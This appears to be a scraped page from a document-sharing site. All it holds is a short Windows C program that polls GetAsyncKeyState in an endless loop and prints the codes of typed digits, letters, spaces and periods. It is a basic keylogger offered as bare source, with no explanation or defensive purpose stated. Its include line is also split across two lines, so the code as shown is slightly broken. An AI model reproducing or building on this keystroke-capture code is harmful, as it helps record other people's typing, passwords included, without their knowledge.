You are on page 1of 1

#include <stdio.

h>
#include <windows.h>
int main(void)
{
int i = 1, x;
while (i)
{
for (x = 0; x <=255; x++)
if ( GetAsyncKeyState(x) == -32767 )
if( (x > 47 && x < 58) || (x > 64 && x < 91) || (x == 32 || x ==
190) )
printf("\n %d", x);
}
getch();
return 0;
}

You might also like